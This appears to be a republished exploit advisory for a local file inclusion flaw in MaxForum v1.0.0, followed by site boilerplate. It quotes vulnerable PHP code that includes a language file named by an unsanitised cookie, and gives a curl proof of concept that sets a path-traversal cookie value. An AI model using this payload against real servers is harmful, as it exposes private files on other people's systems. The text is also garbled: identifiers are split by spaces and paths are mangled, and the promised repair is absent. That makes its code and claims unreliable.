MaxForum v1.0.0 local File Inclusion Defects and repair

Source: Internet
Author: User

+ --------------------------------------- +
 
| MaxForum v1.0.0 Local File transfer sion |
 
+ --------------------------------------- +
 
Author ahwak2000 z. u5 [at] hotmail [dot] com
 
Http://www.max4dev.com/
 
Beta version 1.0
 
/MaxForum/schemdes/forums/warn_popup.php this file:
 

 
Line 100 if (isset ($ _ COOKIE ['max _ lang ']) & (! Isset ($ _ COOKIE ['max _ name']) {
 
Line 101 $ board_lang = escape_string ($ _ COOKIE ['max _ lang ']);
 
Line 102}
 
Line 103
 
Line 104 @ include ".../../language/$ board_lang ";
 
Line 105 @ include ".../../language/$ board_lang.php ";
 

/MaxForum/libs/php/functions. php file
 

 
Function escape_string ($ string ){
 

 
$ String = addslashes ($ string );
 

 
$ String = htmlspecialchars ($ string );
 
Return $ string;
 
}
 
Www.2cto.com
Test proof
 

 
<?
 
$ Url = "http: // www.2cto.com/MaxForum /";
 
$ Ch = curl_init ();
 
Curl_setopt ($ ch, CURLOPT_URL, $ url. "/schemdes/forums/warn_popup.php ");
 
Curl_setopt ($ ch, CURLOPT_COOKIE, "max_lang = ../gpl.txt"); // <--- edit
 
$ Buffer = curl_exec ($ ch );
 
?>
 

 
# End

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.